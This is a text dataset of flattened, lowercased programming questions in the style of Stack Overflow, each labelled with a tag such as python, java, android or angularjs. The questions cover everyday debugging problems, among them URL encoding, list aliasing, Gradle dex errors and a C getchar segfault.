please help me find my mistake. what is wrong in this code,c
angularjs: link with hash gets urlencoded  i have a link like <code>http://localhost:8000/# 4047=27.20#4047</code>    if i paste it in and reload the page  everything works fine.    if i make a link like   <pre><code>&lt;a href= {{ location.$$absurl }}  target= _blank &gt;same&lt;/a&gt; </code></pre>   it works fine.    if i paste the link into my email or notes software  the link looks fine. but  when i click it  it gets urlencoded and fails with   <pre><code>http://localhost:8000/# 4047=27.20%234047 </code></pre>   so  <code>$location.hash()</code> is empty.    i m mostly working with chrome. safari is similar but slightly worse. i paste in <code>http://localhost/#/ 9189=668.00&amp;7010=128.00#7010 9189</code> and it gets changed to <code>http://localhost/#/ 9189=668.00&amp;7010=128.00%237010 9189</code> and my app breaks.    firefox seems to not encode the # and handle it just how i wanted. hrm.,angularjs
calculation of bit wise not  how to calculate <code>~a</code> manually  i am seeing these types of questions very often.   <pre><code>#include &lt;stdio.h&gt; int main() {     unsigned int a = 10;     a = ~a;     printf( %d\n   a); } </code></pre>,c
is it possible to display only first list element in for loop  <pre><code>for x in range(10):     data = [[ day   date   week ]  [ day   date   week ]  [ day   date   week ]]     print data[:1] </code></pre>   question: is it possible to display only first list element in for loop,python
weird python behavior  i wrote a code in python which looks like:   <pre><code>maplist=[{}]*11 mylist=[0]*11 maplist[0][ this ]=1 print maplist </code></pre>   when i print maplist the output is :   <pre><code>[{ this : 1}  { this : 1}  { this : 1}  { this : 1}  { this : 1}  { this : 1}  { this : 1}  { this : 1}  { this : 1}  { this : 1}  { this : 1}] </code></pre>   expected is:   <pre><code>[{ this : 1}  {}  {}  {}  {}  {}  {}  {}  {}  {}  {}] </code></pre>   rather than only the first element of the list should have this key in the map. what is causing this problem,python
redirecting a page link and changing page text based on link  ok i am not sure if the question title is actually correct   newbie web developer here so bear with me.<br> this is an asp.net webiste running on iis 6.0<br> so here is the problem: i have two pages called page1 and home<br> you can navigate to both like so<br> www.mysite.com/page1.aspx  www.mysite.com/home.aspx    page1 is now undergoing a lot changes so that it is going to end up looking a lot like home except for some really small text changes. also there are a number of emails in the wild with customers that link to page1 and \ or home     what i want is a solution that does the following     <ol> <li> create one page( say newhome.aspx) which displays the correct text based on the url of the link that people clicked on to get here   </li> <li> let existing links go to this new page( and of course as per the above requirement the appropriate text would be displayed)   </li> </ol>   i guess they sort of are the same requirement   bottom line i want only one page and all legacy links to continue to work as in get redirected to this new page    thanks,asp.net
how to transfer this code to model   i have a code which calculates a parameter in the create action and update action differently. here expiry_time is the column in the db and expiry_duration is a virtual parameter.   <pre><code>class somecontroller   def create     params[:model][:expiry_time] = time.now + params[:model][:expiry_duration].to_i     @model = model.new(params[:model])     if @model.save       redirect_to ..     else       render ..     end   end    def update     @model = model.find(params[:id])     params[:model][:expiry_time] = @model.created_at + params[:model][:expiry_duration].to_i     if @model.update_params(params[:model])       redirect_to ..     else       render ..     end   end end </code></pre>   i was thinking of moving the calculation part to model in a before_save function. should i check for the id there to decide if it is a new record or an existing one like this    <pre><code>class model   before_save :update_expiry_time    def update_expiry_time     start_time = id   created_at : time.now     expiry_time = start_time + expiry_duration.to_i    end    def expiry_duration     expiry_time - created_at   end end </code></pre>   what do you think,ruby-on-rails
write to textview overlays previous write  i have a textview created in ib... i have two  paragraphs  i want to write  which appear to work  with the exception of the 2nd write overlays the first.    how do i fix this     first write:   <pre><code>resulttext.text =[nsstring stringwithformat:@ decode data:  %@  \n%@\n\n  symbol.data  symbol.typename];  //  display it... </code></pre>   2nd write:   <pre><code>    resulttext.text = [nsstring stringwithformat:@ \ndatabase: \n%@ \n%@ \n%@            [nsstring stringwithutf8string:(char *)sqlite3_column_text(compiledstatement  0)]          [nsstring stringwithutf8string:(char *)sqlite3_column_text(compiledstatement  1)]          [nsstring stringwithutf8string:(char *)sqlite3_column_text(compiledstatement  2)]]; </code></pre>,objective-c
read numbers from string into float  i need to convert some strings to float. most of them are only numbers but some of them have letters too. the regular float() function throws an error.   <pre><code>a= 56.78  b= 56.78 ab   float(a) &gt;&gt; 56.78 float(b) &gt;&gt; valueerror: invalid literal for float() </code></pre>   one solution is to check for the presence of other characters than numbers  but i was wondering if there is some built-in or other short function which gives:   <pre><code>magicfloat(a) &gt;&gt; 56.78 magicfloat(b) &gt;&gt; 56.78 </code></pre>,python
hashmap contains key value  i want to get <code>containskey</code> value in hashmap:   <pre><code>hashmap hm = new hashmap(); for (contact ru : registered_users) {     hm.put(ru.getphone()  ru.getid()); }  if(hm.containskey(c.getphone())) {     registered_phone_contacts.add(new contact(    c.getname());                                               ^^     // here i need to get value. } </code></pre>   how can i do that,java
multiple results in binary search when knowing first character of an word in java  below you can see my code. it reads from <code>sort.txt</code> in which there are words from dictionary. it saves them to <code>arraylist3</code>. i need to do binary search from that list. for example:    if user inputs    <pre><code>a </code></pre>   the program does binary search of list3 in which there are words with length 3 and returns all possible solutions.    at the moment program only return position if full word is inputed: so you need to input aba and it return position but i need it to do as example below.    example what program should do:   <pre><code>list3: [aba  aca  ada  baa  bbb  ddd  jjj] </code></pre>   user enters:   <pre><code>a </code></pre>   program returns: aba at position 0  aca at position 1  ada at postion 2.    that what i have so far. please help kinda stuck here. ignore the regular expresion comparison.   <pre><code>public class proba{   private final static int not_found = -1;  public static void main(string[] args) { string izbira; int dolzina=0; scanner in = new scanner(system.in); string user_input; scanner input = new scanner(system.in);  list&lt;string&gt; list3 = new arraylist&lt;string&gt;();   try {      file file = new file( sort.txt );     filereader filereader = new filereader(file);     bufferedreader bufferedreader = new bufferedreader(filereader);     string vrstica;      while ((vrstica = bufferedreader.readline()) != null) {          if (vrstica.length() == 3) {             list3.add(vrstica);          }     }     system.out.println(list3);     do{         do {             system.out.println( enter lenght of word: );             if (in.hasnextint()) {                 dolzina = in.nextint();             } else if (in.hasnextline()) {                 system.out.printf( wrong entry!%n                            in.nextline());             }          } while (dolzina &lt;= 0);      collections.sort(list3);      system.out.println( enter the first character of a word you are searching: );     user_input = input.nextline();     //user_input = user_input.replace( *    . );      system.out.println( sorted list: [length:   + list3.size() +  ] );     system.out.println(list3);       if (dolzina == 3) {              int index = binarysearch(list3  user_input);             system.out.println( found  + user_input +  at   + index);      }      dolzina=-1;     system.out.println( ponovni vnos (da/ne): );     scanner inn= new scanner (system.in);     izbira = inn.next();  }while (izbira.equalsignorecase( da ));     bufferedreader.close(); } catch (ioexception e) {     e.printstacktrace();  } }   public static int binarysearch(list&lt;string&gt; integerlist  string searchvalue) {  int low = 0; int high = integerlist.size() - 1; int mid = (low + high) / 2;  while (low &lt;= high &amp;&amp; !integerlist.get(mid).equalsignorecase(searchvalue)) {  if (integerlist.get(mid).compareto(searchvalue) &lt; 0) {     low = mid + 1; } else {     high = mid - 1; }  mid = (low + high) / 2;  if (low &gt; high) {     mid = not_found; }  } return mid;   }   } </code></pre>,java
iphone - web service client app  i am writing an app that’s a very simple web service client. i have the following questions: 1. is there a standard common way to write the web service consumption part so that it won’t interfere with the main gui thread   is it common practice to use the main thread considering the web request should take a very short time to complete (but never know)  any links to tutorials  2. all examples i saw call the web service via get. i need to post the data to the web service. any known samples/tutorials that use post,iphone
progress bar remains empty using asynctask - edit - dialog never stops loading  i want to have a progress bar while waiting for gps signal to establish.    i use:   <pre><code>public class getgpsdata extends asynctask&lt;void  integer  void&gt; {                @override                protected void onpreexecute() {                    //super.onpreexecute();                    myprogressbar.setvisibility(view.visible);                    myprogressbar.setprogress(0);                 }                 @override                protected void onprogressupdate(integer... progress) {                    //super.onprogressupdate(progress);                    myprogressbar.setprogress(progress[0]);                 }                 @override                protected void doinbackground(void... params) {                 latitude = gps.getlatitude();                longitude = gps.getlongitude();                 while (latitude == 0 || longitude ==0)                {                     try {                     thread.sleep(3000);                 } catch (interruptedexception e) {                     // todo auto-generated catch block                     e.printstacktrace();                 }                  }                 return null;                }                    protected void oncancelled() {                       toast.maketext(getbasecontext()   error connecting   toast.length_long).show();                    }                 @override                protected void onpostexecute(void result) {                    super.onpostexecute(result);                    myprogressbar.setprogress(100);                 toast.maketext(getbasecontext()   your location is  \nlat:   + latitude +  \nlong:   + longitude  toast.length_long).show();                 }            } </code></pre>   and:   <pre><code> &lt;progressbar android:id= @+id/myprogressbar    style=  android:attr/progressbarstylehorizontal     android:layout_width= fill_parent    android:layout_height= wrap_content     android:layout_alignparentleft= true    android:indeterminate= true    android:layout_below= @+id/comments    android:padding= 5dp  /&gt; </code></pre>   but the progress bar remains empty.    also when i click the button in order to start getting the gps signal  the gps flashes  then stop flashing ( but in the meanwhile it still searches for signal ) and when i press it again it gives me the toast message i have in onpostexecute.is this normal behavior     shouldn t the icon be flashing until finds the signal and then show me the message without the user having to press again the button     --------------------------------update----------------------------------------------------    i also tried with progressdialog :   <pre><code>public class getgpsdata extends asynctask&lt;void  integer  void&gt; {                progressdialog progressdialog = null;                                @override                protected void onpreexecute() {                   super.onpreexecute();                       progressdialog = new progressdialog(showlist.this);                    progressdialog.setoncancellistener(new dialoginterface.oncancellistener() {                         @override                         public void oncancel(dialoginterface dialog) {                             getgpsdata.this.cancel(true);                         }                      });                    progressdialog.setmessage( waiting for location... );                    progressdialog.setindeterminate(true);                    progressdialog.setcancelable(true);                    progressdialog.show();                  }                 @override                protected void onprogressupdate(integer... progress) {                    super.onprogressupdate(progress);                  }                 @override                protected void doinbackground(void... params) {                     latitude = gps.getlatitude();                    longitude = gps.getlongitude();                 while  (latitude == 0 || longitude == 0)                {                    try {                                    thread.sleep(1000);                       } catch (interruptedexception e) {                     // todo auto-generated catch block                     e.printstacktrace();                 }                   }                   return null;                }                    protected void oncancelled() {                       toast.maketext(getbasecontext()   cancelled/error connecting   toast.length_long).show();                       progressdialog.dismiss();                   }                 @override                protected void onpostexecute(void result) {                     progressdialog.dismiss();   toast.maketext(showlist.this   your location is  \nlat:   + latitude +  \nlong:   + longitude  toast.length_long).show();                 }            } </code></pre>   but now  the progress dialog never stops loading.if i press back button and then again the button to get location  then it gives me the toast message (with location).    -------------------solution------------------------------    the problem was (after correcting the while loop) that you must put this.location=location   <pre><code> public void onlocationchanged(location location) {         this.location=location;     } </code></pre>,android
jquery : there is overlapping in animated elements after using .stop() on mouseover  in the below code  when i m calling stop() the elements upon resume overlap. hence making the ad banner a total mess. is there any way where i can do something about it. i ve also used jquery.pause api also and i ve searched the internet but nothing seems to be working. below is the code.   <pre><code>$(document).ready(function () { $( .graph_div ).animate({width:  9000px   left:  -606px }  11000).delay(2000).fadeout(500); $( .star_man ).delay(1000).fadein(30).animate({width:32  marginright:  250px }  4900); $( .star_man_end ).delay(7500).animate({width:  32px   right:  60px }  3500).delay(2000).fadeout(500); $( .depressive_man ).delay(5500).fadein(1).animate({left:  10px }  2000).delay(5500).fadeout(500); $( .seroquel_content ).delay(800).animate({right:  0px } 700).delay(2600).animate({right:  298px }  700); $( .acute_depressive ).delay(4800).animate({right:  0px }  700).delay(2500).animate({right:  298px }  700); $( .your_patient ).delay(9000).animate({right:  0px }  700).delay(3200).fadeout(500); $( .header_example_text ).delay(500).fadein(500).delay(8000).fadeout(500); $( .header_logo_div ).delay(14000).animate({height: 96 top: 8}  1000); $( .one_medication ).delay(16000).animate({right:  0px }  700).delay(3000).animate({right:  298px }  700); $( .depress_man_left ).delay(18000).fadein(300).delay(1000).fadeout(500); $( .star_man_logo .star_man_shadow ).delay(20000).fadeout(500); $( .discover_its ).delay(22000).animate({right:  0px }  700); $( .depress_man_right ).delay(24000).fadein(500); $( .see_the_data ).delay(26000).fadein(500);     $( .footer_text ).mouseover(function () {     if(!$( .footer_text ).is( :animated )){             $( .footer_text ).animate({                 bottom: 106             }  1e3);         $( .footer_content ).animate({             bottom: 0             }  1e3);         $( .close_btn ).animate({             bottom: 94             }  1e3)         }     });     $( .close_btn ).click(function () {         $( .footer_text ).animate({             bottom: -1         }  1e3);         $( .footer_content ).animate({             bottom: -106         }  1e3)         $( .close_btn ).animate({             bottom: -12         }  1e3)     });     $( .blank_link ).fadein(0);  $( .footer_text ).bind( mouseover  function(){         $( .graph_div  .star_man  .star_man_end  .depressive_man  .seroquel_content  .acute_depressive  .your_patient  .header_example_text  .header_logo_div  .one_medication  .depress_man_left  .star_man_logo  .star_man_shadow  .discover_its  .depress_man_right  .see_the_data ).stop(true false);     }); $( .close_btn ).click(function(){     $( .graph_div ).animate({width:  10000px   left:  -606px } 11000).delay(2000).fadeout(500);     $( .star_man ).delay(780).fadein(30).animate({width:75  marginright:  250px } 3300);     $( .star_man_end ).delay(7000).fadein(100).delay(2000).fadeout(500);     $( .depressive_man ).delay(3500).fadein(1).animate({left:  10px } 1700).delay(3700).fadeout(500);     $( .seroquel_content ).delay(400).animate({right:  0px } 700).delay(1400).animate({right:  298px } 700);     $( .acute_depressive ).delay(3000).animate({right:  0px } 700).delay(2000).animate({right:  298px } 700);     $( .your_patient ).delay(6000).animate({right:  0px } 700).delay(2300).fadeout(500);     $( .header_example_text ).delay(500).fadein(500).delay(8000).fadeout(500);     $( .header_logo_div ).delay(9500).animate({height: 96 top: 8} 1000);     $( .one_medication ).delay(10500).animate({right:  0px } 700).delay(1000).animate({right:  298px } 700);     $( .depress_man_left ).delay(11500).fadein(300).delay(1000).fadeout(500);     $( .star_man_logo .star_man_shadow ).delay(12500).fadeout(500);     $( .discover_its ).delay(13500).animate({right:  0px }  700);     $( .depress_man_right ).delay(14500).fadein(500);     $( .see_the_data ).delay(14500).fadein(500); }); }); </code></pre>,jquery
unable to merge dex file error in android  this is a gradle console output with stack trace and it shows following error in  logcaterror:java.lang.runtimeexception: com.android.builder.dexing.dexarchivemergerexception: unable to merge dex     :app:transformclasseswithdexbuilderfordebug     :app:transformdexarchivewithexternallibsdexmergerfordebug failed   <pre><code>failure: build failed with an exception.  * what went wrong: execution failed for task  :app:transformdexarchivewithexternallibsdexmergerfordebug . &gt; com.android.builder.dexing.dexarchivemergerexception: unable to merge dex  * try: run with --info or --debug option to get more log output.  * exception is: org.gradle.api.tasks.taskexecutionexception: execution failed for task  :app:transformdexarchivewithexternallibsdexmergerfordebug .     at org.gradle.api.internal.tasks.execution.executeactionstaskexecuter.executeactions(executeactionstaskexecuter.java:100)     at org.gradle.api.internal.tasks.execution.executeactionstaskexecuter.execute(executeactionstaskexecuter.java:70)     at org.gradle.api.internal.tasks.execution.skipuptodatetaskexecuter.execute(skipuptodatetaskexecuter.java:63)     at org.gradle.api.internal.tasks.execution.resolvetaskoutputcachingstateexecuter.execute(resolvetaskoutputcachingstateexecuter.java:54)     at org.gradle.api.internal.tasks.execution.validatingtaskexecuter.execute(validatingtaskexecuter.java:58)     at org.gradle.api.internal.tasks.execution.skipemptysourcefilestaskexecuter.execute(skipemptysourcefilestaskexecuter.java:88)     at org.gradle.api.internal.tasks.execution.resolvetaskartifactstatetaskexecuter.execute(resolvetaskartifactstatetaskexecuter.java:52)     at org.gradle.api.internal.tasks.execution.skiptaskwithnoactionsexecuter.execute(skiptaskwithnoactionsexecuter.java:52)     at org.gradle.api.internal.tasks.execution.skiponlyiftaskexecuter.execute(skiponlyiftaskexecuter.java:54)     at org.gradle.api.internal.tasks.execution.executeatmostoncetaskexecuter.execute(executeatmostoncetaskexecuter.java:43)     at org.gradle.api.internal.tasks.execution.catchexceptiontaskexecuter.execute(catchexceptiontaskexecuter.java:34)     at org.gradle.execution.taskgraph.defaulttaskgraphexecuter$eventfiringtaskworker$1.run(defaulttaskgraphexecuter.java:248)     at org.gradle.internal.progress.defaultbuildoperationexecutor$runnablebuildoperationworker.execute(defaultbuildoperationexecutor.java:336)     at org.gradle.internal.progress.defaultbuildoperationexecutor$runnablebuildoperationworker.execute(defaultbuildoperationexecutor.java:328)     at org.gradle.internal.progress.defaultbuildoperationexecutor.execute(defaultbuildoperationexecutor.java:197)     at org.gradle.internal.progress.defaultbuildoperationexecutor.run(defaultbuildoperationexecutor.java:107)     at org.gradle.execution.taskgraph.defaulttaskgraphexecuter$eventfiringtaskworker.execute(defaulttaskgraphexecuter.java:241)     at org.gradle.execution.taskgraph.defaulttaskgraphexecuter$eventfiringtaskworker.execute(defaulttaskgraphexecuter.java:230)     at org.gradle.execution.taskgraph.defaulttaskplanexecutor$taskexecutorworker.processtask(defaulttaskplanexecutor.java:124)     at org.gradle.execution.taskgraph.defaulttaskplanexecutor$taskexecutorworker.access$200(defaulttaskplanexecutor.java:80)     at org.gradle.execution.taskgraph.defaulttaskplanexecutor$taskexecutorworker$1.execute(defaulttaskplanexecutor.java:105)     at org.gradle.execution.taskgraph.defaulttaskplanexecutor$taskexecutorworker$1.execute(defaulttaskplanexecutor.java:99)     at org.gradle.execution.taskgraph.defaulttaskexecutionplan.execute(defaulttaskexecutionplan.java:625)     at org.gradle.execution.taskgraph.defaulttaskexecutionplan.executewithtask(defaulttaskexecutionplan.java:580)     at org.gradle.execution.taskgraph.defaulttaskplanexecutor$taskexecutorworker.run(defaulttaskplanexecutor.java:99)     at org.gradle.internal.concurrent.executorpolicy$catchandrecordfailures.onexecute(executorpolicy.java:63)     at org.gradle.internal.concurrent.managedexecutorimpl$1.run(managedexecutorimpl.java:46)     at org.gradle.internal.concurrent.threadfactoryimpl$managedthreadrunnable.run(threadfactoryimpl.java:55) caused by: java.lang.runtimeexception: com.android.builder.dexing.dexarchivemergerexception: unable to merge dex     at com.android.builder.dexing.dxdexarchivemerger.mergemultidex(dxdexarchivemerger.java:266)     at com.android.builder.dexing.dxdexarchivemerger.mergedexarchives(dxdexarchivemerger.java:133)     at com.android.build.gradle.internal.transforms.dexmergertransformcallable.call(dexmergertransformcallable.java:97)     at com.android.build.gradle.internal.transforms.externallibsmergertransform.transform(externallibsmergertransform.kt:121)     at com.android.build.gradle.internal.pipeline.transformtask$2.call(transformtask.java:222)     at com.android.build.gradle.internal.pipeline.transformtask$2.call(transformtask.java:218)     at com.android.builder.profile.threadrecorder.record(threadrecorder.java:102)     at com.android.build.gradle.internal.pipeline.transformtask.transform(transformtask.java:213)     at org.gradle.internal.reflect.javamethod.invoke(javamethod.java:73)     at org.gradle.api.internal.project.taskfactory.defaulttaskclassinfostore$incrementaltaskaction.doexecute(defaulttaskclassinfostore.java:173)     at org.gradle.api.internal.project.taskfactory.defaulttaskclassinfostore$standardtaskaction.execute(defaulttaskclassinfostore.java:134)     at org.gradle.api.internal.project.taskfactory.defaulttaskclassinfostore$standardtaskaction.execute(defaulttaskclassinfostore.java:121)     at org.gradle.api.internal.tasks.execution.executeactionstaskexecuter$1.run(executeactionstaskexecuter.java:122)     at org.gradle.internal.progress.defaultbuildoperationexecutor$runnablebuildoperationworker.execute(defaultbuildoperationexecutor.java:336)     at org.gradle.internal.progress.defaultbuildoperationexecutor$runnablebuildoperationworker.execute(defaultbuildoperationexecutor.java:328)     at org.gradle.internal.progress.defaultbuildoperationexecutor.execute(defaultbuildoperationexecutor.java:197)     at org.gradle.internal.progress.defaultbuildoperationexecutor.run(defaultbuildoperationexecutor.java:107)     at org.gradle.api.internal.tasks.execution.executeactionstaskexecuter.executeaction(executeactionstaskexecuter.java:111)     at org.gradle.api.internal.tasks.execution.executeactionstaskexecuter.executeactions(executeactionstaskexecuter.java:92)     ... 27 more caused by: com.android.builder.dexing.dexarchivemergerexception: unable to merge dex     at com.android.builder.dexing.dexarchivemergercallable.call(dexarchivemergercallable.java:72)     at com.android.builder.dexing.dexarchivemergercallable.call(dexarchivemergercallable.java:36)     ... 46 more caused by: com.android.dex.dexexception: multiple dex files define landroid/arch/lifecycle/livedata$1;     at com.android.dx.merge.dexmerger.readsortabletypes(dexmerger.java:661)     at com.android.dx.merge.dexmerger.getsortedtypes(dexmerger.java:616)     at com.android.dx.merge.dexmerger.mergeclassdefs(dexmerger.java:598)     at com.android.dx.merge.dexmerger.mergedexes(dexmerger.java:171)     at com.android.dx.merge.dexmerger.merge(dexmerger.java:198)     at com.android.builder.dexing.dexarchivemergercallable.call(dexarchivemergercallable.java:61)     ... 47 more   * get more help at https://help.gradle.org  build failed in 18s  20 actionable tasks: 5 executed  15 up-to-date </code></pre>,android
filtering list based on custom data  i have a class <code>accumulation</code> like below    <pre><code>public class accumulation implements serializable {   private static final long serialversionuid = 1l;    private string mobileno;   private string address;   private int count;    --   getter   setter } </code></pre>   i get data from my repository by   <pre><code>list&lt;accumulation&gt; accumulations = repository.getaccumulation(); </code></pre>   now for example  <code>list&lt;accumulation&gt;</code> accumulations contains 5 records.   <pre><code>first records : 123  test1  2 second records : 123  test1  2 third records : 123  test1  2 fourth records : 123  test1  1 fifth records : 123  test1  2 </code></pre>   we can get total count by below code.   <pre><code>   int totalcount = accumulations.stream().maptoint(accumulation::getcount).sum(); </code></pre>   so from above list we can get total count is :: 9    what i want : i want to get only 8 count records.    for example : from the 5 records if we get only 4 records (first  second  third  fifth) then we can get 8 count.    how to achieve the above logic  i am not able find any thing.,java
segmentation fault (core dump) when using getchar() in c   i am writing a program for a class  and need to recieve a string from standard input. i am using getchar()  but when i run the program it seems to produce the segmentation fault error when encountering the loop with getchar() in it. here s my code:    (an example input would be: 5  14:09:01  1  1013)   <pre><code>int i  j; int continueinput = 1; /* initialize health data records for each patient */  for( i=0; i &lt; maxpatients; i++ ){     record[i].id = i + 1;     for( j=0; j &lt; maxtypes; j++ ){         record[i].buffer[j].start = 0;         record[i].buffer[j].end = 0;     } } printf( welcome to the health monitoring system\n\n );  while(continueinput == 1){     i = 0;     int c;     char input[50];     while((c = getchar()) !=  \n  &amp;&amp; c != eof){         input[i++] = c;     }     if(c == eof){         continueinput = 0;         continue;     }     else{         input[i] =  \0 ;         int length = i;         int commacount = 0;         int patientnumber  command  value;         char time[9]  valuestring[6];         int timecount = 0  valuecount = 0;         for(i = 0; i &lt; length; i++){             if(input[i] ==    ){                 commacount++;             }             if(commacount == 0){                 patientnumber = atoi(input[i]);             }             else if(input[i] ==    ){                 /*do nothing*/                 continue;             }             else if(commacount == 1){                 time[timecount] = input[i];                 timecount++;             }             else if(commacount == 2){                 command = atoi(input[i]);             }             else if(commacount == 3){                 valuestring[valuecount] = input[i];                 valuecount++;             }         }         valuestring[valuecount + 1] =  \0 ;         time[timecount + 1] =  \0 ;         switch(command){             case 1:             {                 double temp = atof(valuestring);                 temp = temp / 10;                 printf( %s: temperature for patient id = %d is %f   time  patientnumber  temp);             }             case 2:             {                 int heartrate = atoi(valuestring);                 printf( %s: heart rate for patient id = %d is %d   time  patientnumber  heartrate);             }             case 3:             {                 int spressure = atoi(valuestring);                 printf( %s: systolic pressure for patient id = %d is %d   time  patientnumber  spressure);             }             case 4:             {                 int dpressure = atoi(valuestring);                 printf( %s: diastolic pressure for patient id = %d is %d   time  patientnumber  dpressure);             }             case 5:             {                 int rate = atoi(valuestring);                 printf( %s: respiration rate for patient id = %d is %d   time  patientnumber  rate);             }             case 6:             {                 printf( %s: print command entered for patient id = %d   time  patientnumber);             }         }     } }        printf( \nend of input\n ); </code></pre>   }   <pre><code>#define maxpatients 5 #define maxreadings 10 #define maxtypes 5 #define maxtime 8  /* one health type reading: timestamp + actual value */ typedef struct{     char timestamp[maxtime+1];     int value; }element;  /* circular buffer of health type readings */ typedef struct{     int start;  /* index of oldest reading */     int end;    /* index of most current reading */     element reading[maxreadings]; }circularbuffer;  /* patient s health chart: id + multiple health type readings */ typedef struct{     int id;     circularbuffer buffer[maxtypes]; }chart; </code></pre>,c
question on iphone development custom ui  so on the app store  what i m seeing a lot is a custom ui that still looks like the native apple ones  but is some how  spruced up  in look.  how exactly would i create something like that  as in say a button that is a hexagon or something instead of a rounded rectangle     thanks      vectorware,iphone
see which files are forming a specific php page   does anyone know of a web development toll which will tell me what physical php files are being pulled together to form the page      example.    i have <code>index.php</code> which is made up of <code>header.php</code> <code>sidebar.php</code> <code>news.php</code> and <code>footer.php</code>. is there a tool available that ll inform me that <code>index.php</code> is formed by these pages when i access it,php
configurationsection handler in different assembly  i have a library project  assembly name: configassembly there is a class siteconfigurationsection.<br> i want to use it as configurationsection handler.    in web.config:   <pre><code>&lt;section name= sf2  type= siteconfigurationsection configassembly version=3.5.0.1  culture=neutral  publickeytoken=null /&gt; </code></pre>   when i run it  i get an error:   <blockquote>    an error occurred creating the   configuration section handler for sf2:   could not load type    siteconfigurationsection  from   assembly    configassembly version=3.5.0.1    culture=neutral  publickeytoken=null .  </blockquote>,asp.net
tricky scope binding in angularjs directives  i want to write  edit in place  directive in angularjs.  i want that directive is reusable  therefore i have following requirements on the directive:   <ol> <li>it must be an attirbute that can deocorate any element  that makes sense (div span li)</li> <li>it must support edit button  clicking on that will change set ot displayd elements into input fileds. typically properties of one object  e.g. contact (number  name) </li> </ol>   i disocvere trickery behaviour of scope visibility in the directive that can be seen in this fiddle <a href= http://jsfiddle.net/honzajde/zgnbu/1/  rel= nofollow >http://jsfiddle.net/honzajde/zgnbu/1/</a>.    <ol> <li>comenting out in the directive: template and scope -> contact.number and contact.name are displayed</li> <li>comenting out in the directive: scope -> contact.number only is displayed</li> <li>not commenting out anything -> nothing is displayed</li> </ol>   => when both are commented out just adding template to the directive makes it render contact.number even though template is not used.    i am asking what are the rules of the game     <pre><code>&lt;div&gt;   &lt;div ng-controller= contactsctrl &gt;     &lt;h2&gt;contacts&lt;/h2&gt;     &lt;br /&gt;     &lt;ul&gt;         &lt;li ng-repeat= contact in contacts &gt;             &lt;span edit-in-place=   ng-bind= contact.number &gt;&lt;/span&gt; |              &lt;span edit-in-place=   &gt;{{contact.name}}&lt;/span&gt;         &lt;/li&gt;     &lt;/ul&gt;     &lt;br /&gt;     &lt;p&gt;here we repeat the contacts to ensure bindings work:&lt;/p&gt;     &lt;br /&gt;     &lt;ul&gt;         &lt;li ng-repeat= contact in contacts &gt;             {{contact.number}} | {{contact.name}}         &lt;/li&gt;     &lt;/ul&gt;    &lt;/div&gt; &lt;/div&gt;   var app = angular.module(  myapp   [] );  app.directive(  editinplace   function() {   return {     restrict:  a       //scope: { contact: =  }          template:  &lt;span ng-click= edit()  ng-bind= value &gt;&lt;/span&gt;&lt;input ng-model= value &gt;&lt;/input&gt;       link: function ( $scope  element  attrs ) {       // let s get a reference to the input element  as we ll want to reference it.       var inputelement = angular.element( element.children()[1] );        // this directive should have a set class so we can style it.       element.addclass(  edit-in-place  );        // initially  we re not editing.       $scope.editing = false;        // ng-click handler to activate edit-in-place       $scope.edit = function () {         $scope.editing = true;          // we control display through a class on the directive itself. see the css.         element.addclass(  active  );          // and we must focus the element.          // `angular.element()` provides a chainable array  like jquery so to access a native dom function           // we have to reference the first element in the array.         inputelement[0].focus();       };        // when we leave the input  we re done editing.       inputelement.prop(  onblur   function() {         $scope.editing = false;         element.removeclass(  active  );       });     }   }; });  app.controller( contactsctrl   function ( $scope ) {   $scope.contacts = [     { number:  +25480989333   name:  sharon }      { number:  +42079872232   name:  steve }   ]; }); </code></pre>,angularjs
cannot have a has_one :through association   where the :through association is a collection  i have the following associations. propertyowner is a join model which belongs to a property and polymorphically belongs to an owner  which in the below example is a foreclosuredefense. everything works well  until i had the has_one :main_property. the idea is the foreclosuredefense model can have many properties  but the last property is the main property:   <pre><code>class foreclosuredefense &lt; activerecord::base   has_many :property_owners  as: :owner   has_many :properties  through: :property_owners   has_one :main_property  through: :property_owners  source: :property  order:  created_at desc  end  class propertyowner &lt; activerecord::base   belongs_to :property   belongs_to :owner  polymorphic: :true end  class property &lt; activerecord::base   has_many :property_owners   has_many :owners  through: :property_owners   has_many :foreclosure_owners  through: :property_owners  source: :owner  source_type:  foreclosuredefense    has_many :folder_owners  through: :property_owners  source: :owner  source_type:  folder  end </code></pre>   unfortunately  when i try to use that has_one :main_property association  i get the following error:    activerecord::hasonethroughcantassociatethroughcollection: cannot have a has_one :through association  foreclosuredefense#main_property  where the :through association  foreclosuredefense#property_owners  is a collection.    what am i doing wrong,ruby-on-rails
typeerror: can t concat bytes to int  i am trying to hash the filename and then save into db. i am using flask and python 3.4    this is the code for upload:   <pre><code>@app.route( /   methods=[ get    post ]) def upload_pic():     if request.method ==  post :         file = request.files[ file ]         try:             extension = file.filename.rsplit( .   1)[1].lower()         except indexerror as e:             abort(404)         if file and check_extension(extension):             # salt and hash the file contents             filename = md5(file.read() + str(round(time.time() * 1000))).hexdigest() +  .  + extension             file.seek(0)  # move cursor back to beginning so we can write to disk             file.save(os.path.join(app.config[ upload_dir ]  filename))             add_pic(filename)             gen_thumbnail(filename)             return redirect(url_for( show_pic   filename=filename))         else:  # bad file extension             abort(404)     else:         return render_template( upload.html ) </code></pre>   when i post the form  i get this error traceback.   <pre><code>traceback (most recent call last):   file  c:\python34\lib\site-packages\flask\app.py   line 1836  in __call__     return self.wsgi_app(environ  start_response)   file  c:\python34\lib\site-packages\flask\app.py   line 1820  in wsgi_app     response = self.make_response(self.handle_exception(e))   file  c:\python34\lib\site-packages\flask\app.py   line 1403  in handle_exception     reraise(exc_type  exc_value  tb)   file  c:\python34\lib\site-packages\flask\_compat.py   line 33  in reraise     raise value   file  c:\python34\lib\site-packages\flask\app.py   line 1817  in wsgi_app     response = self.full_dispatch_request()   file  c:\python34\lib\site-packages\flask\app.py   line 1477  in full_dispatch_request     rv = self.handle_user_exception(e)   file  c:\python34\lib\site-packages\flask\app.py   line 1381  in handle_user_exception     reraise(exc_type  exc_value  tb)   file  c:\python34\lib\site-packages\flask\_compat.py   line 33  in reraise     raise value   file  c:\python34\lib\site-packages\flask\app.py   line 1475  in full_dispatch_request     rv = self.dispatch_request()   file  c:\python34\lib\site-packages\flask\app.py   line 1461  in dispatch_request     return self.view_functions[rule.endpoint](**req.view_args)   file  c:\users\ajay\pycharmprojects\codehackr-upload\flaskgur.py   line 70  in upload_pic     filename = md5(file.read() + (round(time.time() * 1000))).hexdigest() +  .  + extension typeerror: can t concat bytes to int </code></pre>   i dont know whats wrong is happening  please enlighten me.    thanks.,python
